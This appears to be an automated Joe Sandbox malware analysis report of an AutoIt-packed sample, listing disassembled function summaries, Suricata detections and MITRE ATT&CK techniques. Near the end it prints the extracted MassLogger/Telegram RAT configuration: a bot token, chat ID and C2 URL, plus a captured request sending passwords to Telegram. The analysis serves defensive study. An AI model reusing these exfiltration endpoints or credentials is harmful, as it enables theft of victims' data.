Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 77a1f6cee6d82deeb0f5d83216f13d0986bc9650259c7488b7f944fffe6c3a78
Instruction ID: 0e2a0ca850ac3f8881ef6d81de8580307597b0d7563f3cfc3c8c7f925170c1dc
Opcode Fuzzy Hash: 77a1f6cee6d82deeb0f5d83216f13d0986bc9650259c7488b7f944fffe6c3a78
Instruction Fuzzy Hash: 6521267261020AAFDF04DFA8CC45AFA7BAAFB08315F005629FD95D3250E735E855DB60

Function 00656920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 006569A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 006569B1

Strings

edit, xrefs: 00656986

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 98f0688f59ada27cff51cb81668d8e218171d3048c4df38ac4033a1f437150b0
Instruction ID: 6f7871fb3a0676bf3905a883c8a6c72c8e1f1ed9768f21b7f8724e6c4b6433b7
Opcode Fuzzy Hash: 98f0688f59ada27cff51cb81668d8e218171d3048c4df38ac4033a1f437150b0
Instruction Fuzzy Hash: 36116A7150020AABEB109F64DC44AEB3BABEB053B6F904728FDA5972E0C771DC59D760

Function 006329AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00632A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00632A41

Strings

0, xrefs: 00632A18

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 95cf4a9371b8ff30f3cedd439cf7df8d43bc9713536982bbc6abe028ff10a7c3
Instruction ID: 1c80d96af592a77ec8ac450409a93bb5a5ac620f20e59418bb68e102d1cebd4a
Opcode Fuzzy Hash: 95cf4a9371b8ff30f3cedd439cf7df8d43bc9713536982bbc6abe028ff10a7c3
Instruction Fuzzy Hash: 5411E232901226ABCF31DF98DC54BEA77BEAB45300F244022E895E73A0D730AD0AC7D1

Function 006421D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0064222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00642255

Strings

<local>, xrefs: 0064221D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 3bdc4c806418172918f0a62e4c028b126942400634860dc80bc798ccd8d4719a
Instruction ID: 6167370bbde590abfb32d4415bfbdfdd7c0ab7b05c4754d67f407e20b1f63665
Opcode Fuzzy Hash: 3bdc4c806418172918f0a62e4c028b126942400634860dc80bc798ccd8d4719a
Instruction Fuzzy Hash: 46110670501226BADB248F118CA4FF7FBAAFF06351F60822AF60587100D2B05A81D6F0

Function 005E092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,005D3C14,006952F8,?,?,?), ref: 005E096E

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

_wcscat.LIBCMT ref: 00614CB7

Strings

Si, xrefs: 005E09AE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: Si
API String ID: 257928180-1103709175
Opcode ID: 34514d2400b07e902f614376a3f0085d978b07de5d9e3512dade55cb7a7da9f4
Instruction ID: 8fe603417d4df9b94cd293a964a003e0515e463505d5a46c8f045141ff36b1c5
Opcode Fuzzy Hash: 34514d2400b07e902f614376a3f0085d978b07de5d9e3512dade55cb7a7da9f4
Instruction Fuzzy Hash: BD11A5309052099BDB55FFA4C849EDD7BB9BF48350F0055A7B985D7282FAB096884B11

Function 00628E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 0062AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0062AABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00628E73

Strings

ComboBox, xrefs: 00628E12
ListBox, xrefs: 00628E3D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: e13319249a35e5316e6433ab2d922afe1bd59d2ec2502026b82207dfacf84a78
Instruction ID: 1acfb63458210c3d397911852232a1dccf0f8aa55ebe7a93de2ad5bf77a46152
Opcode Fuzzy Hash: e13319249a35e5316e6433ab2d922afe1bd59d2ec2502026b82207dfacf84a78
Instruction Fuzzy Hash: E301B5B160262AAB8B14FBA8DC558FE776ABF45360B14061AB871573E1EE315808CA50

Function 00628CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 0062AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0062AABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00628D6B

Strings

ComboBox, xrefs: 00628D0A
ListBox, xrefs: 00628D35

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 18afa2eda9e49431fc5829b587b1e594671b35572f722496f9fd6ba09888de70
Instruction ID: 1741da66036e5fc68273208267790e24bef31a397d560ad9596c31bce6f6fc2b
Opcode Fuzzy Hash: 18afa2eda9e49431fc5829b587b1e594671b35572f722496f9fd6ba09888de70
Instruction Fuzzy Hash: B801D4B1A4151AABCB24EBE4DD56EFE77AAAF15300F10042AB801672D1EE215E0CDA71

Function 00628D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 0062AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0062AABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00628DEE

Strings

ComboBox, xrefs: 00628D8F
ListBox, xrefs: 00628DBA

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 6ce75208fb363098aa9bfa5862f163197102dc946bddfb977aa71fd4f9f908da
Instruction ID: e4687d5969881eb1dbdbf45cf3138618c9cf7c17f5cdde6696de579e9fc40c58
Opcode Fuzzy Hash: 6ce75208fb363098aa9bfa5862f163197102dc946bddfb977aa71fd4f9f908da
Instruction Fuzzy Hash: FC01F7B1A4151AABCB20F7A8DD56EFE77AAAF25300F104416B80163392EE214E0CD671

Function 0062C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0062C534

Part of subcall function 0062C816: _memmove.LIBCMT ref: 0062C860
Part of subcall function 0062C816: VariantInit.OLEAUT32(00000000), ref: 0062C882
Part of subcall function 0062C816: VariantCopy.OLEAUT32(00000000,?), ref: 0062C88C

VariantClear.OLEAUT32(?), ref: 0062C556

Strings

d}h, xrefs: 0062C517

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}h
API String ID: 2932060187-1768379455
Opcode ID: 60e86ad390d8e71ad55fd931e791b7d15fdb6d62cfbbe514179b844c5880a900
Instruction ID: d6a2f9c1e42d2edfbf966f3dfd2167b0d21cdf0eff6f9126e9afb140092508c9
Opcode Fuzzy Hash: 60e86ad390d8e71ad55fd931e791b7d15fdb6d62cfbbe514179b844c5880a900
Instruction Fuzzy Hash: 261100719007099FC720EF99D88489AFBF8FF08310B50862FE58AD7611D771AA45CF90

Function 00634F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00634F46
_wcscmp.LIBCMT ref: 00634F58

Strings

#32770, xrefs: 00634F52

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 19748771b8484bf5a569b20c6f14e34c85359719a5c23e3986d95f7c4df08fce
Instruction ID: b4ad3bf3fe27048e4662584db2e7e68799db331a289d55dd60a5c04a18fe077d
Opcode Fuzzy Hash: 19748771b8484bf5a569b20c6f14e34c85359719a5c23e3986d95f7c4df08fce
Instruction Fuzzy Hash: B3E0D83260032D2BE720EB99EC49FA7FBACEB85B71F01016BFD04D3151D960AA4587E1

Function 0060B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0060B314: _memset.LIBCMT ref: 0060B321

Part of subcall function 005F0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0060B2F0,?,?,?,005D100A), ref: 005F0945

IsDebuggerPresent.KERNEL32(?,?,?,005D100A), ref: 0060B2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,005D100A), ref: 0060B303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0060B2FE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: d5edcf2e3e11d15d07f873b6ecf6c1d788e824daba75c9f731eb654a27d87267
Instruction ID: d033620d937b5d92e9f6d462ac8c2c6d89ae19c9a39e1c6f74c5eb4426f76391
Opcode Fuzzy Hash: d5edcf2e3e11d15d07f873b6ecf6c1d788e824daba75c9f731eb654a27d87267
Instruction Fuzzy Hash: 12E06DB02007028BD768DF28D9083477AE9BF00304F14D96EE486C7781E7B4D444CBA1

Function 00627C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00627C82

Part of subcall function 005F3358: _doexit.LIBCMT ref: 005F3362

Strings

Error allocating memory., xrefs: 00627C7B
AutoIt, xrefs: 00627C76

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 84e85bc55aff40b8895c0281848310bf89f70a464ff0393f07f7b5c8a7581b8d
Instruction ID: 2d06a031d874ec6acec39e458156aa962590d0f65f25eb4e1c057efcbb6fcbf3
Opcode Fuzzy Hash: 84e85bc55aff40b8895c0281848310bf89f70a464ff0393f07f7b5c8a7581b8d
Instruction Fuzzy Hash: F2D012323C931936D21572A9AC0BFDA6A495B45B52F140416BB04995D349D5958082E5

Function 00611935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00611775

Part of subcall function 0064BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0061195E,?), ref: 0064BFFE
Part of subcall function 0064BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0064C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0061196D

Strings

WIN_XPe, xrefs: 00611788

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 7a417155985051968309d61e1d8f7b962f035fdedf2a3338b1e170710996077a
Instruction ID: d464a5660b89fba8cf5aed373163cf95eb4e8ca10c612594129bf4c612f39122
Opcode Fuzzy Hash: 7a417155985051968309d61e1d8f7b962f035fdedf2a3338b1e170710996077a
Instruction Fuzzy Hash: FDF0C970800109DFDB25DBA5C988AECBBFABB09301F581096E202A6290DB718F85DF61

Function 00655964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0065596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00655981

Part of subcall function 00635244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006352BC

Strings

Shell_TrayWnd, xrefs: 00655967

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 661a6212203a9d8269b9005646cac03b2965b63263a1aeac7d84c13eeb9f0b20
Instruction ID: f504778f8e44f831e8832291187e43cbf3d5f35384efd416c4274ea305894f51
Opcode Fuzzy Hash: 661a6212203a9d8269b9005646cac03b2965b63263a1aeac7d84c13eeb9f0b20
Instruction Fuzzy Hash: 26D0C935384311BBE7A4BB709C0BF976A16AB10B51F011829B34AAB1D0D9E09800C694

Function 00655998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006559AE
PostMessageW.USER32(00000000), ref: 006559B5

Part of subcall function 00635244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006352BC

Strings

Shell_TrayWnd, xrefs: 006559A7

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 935efd0aab38a2a55bfb5c88cc4c48841e02606009ec6981344950c5878682dd
Instruction ID: 4943e2638058c884eb7d4f177719c4c5f52e06463495f59e837c0448e4cd7fb9
Opcode Fuzzy Hash: 935efd0aab38a2a55bfb5c88cc4c48841e02606009ec6981344950c5878682dd
Instruction Fuzzy Hash: 84D0C9313C0311BBE7A4BB709C0BF976616AB14B51F011829B346AB1D0D9E0A800C698

Source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM", "Telegram Chatid": "7455776561"}
Source: RegSvcs.exe.7588.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49738 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49738 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e6e8455b09Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

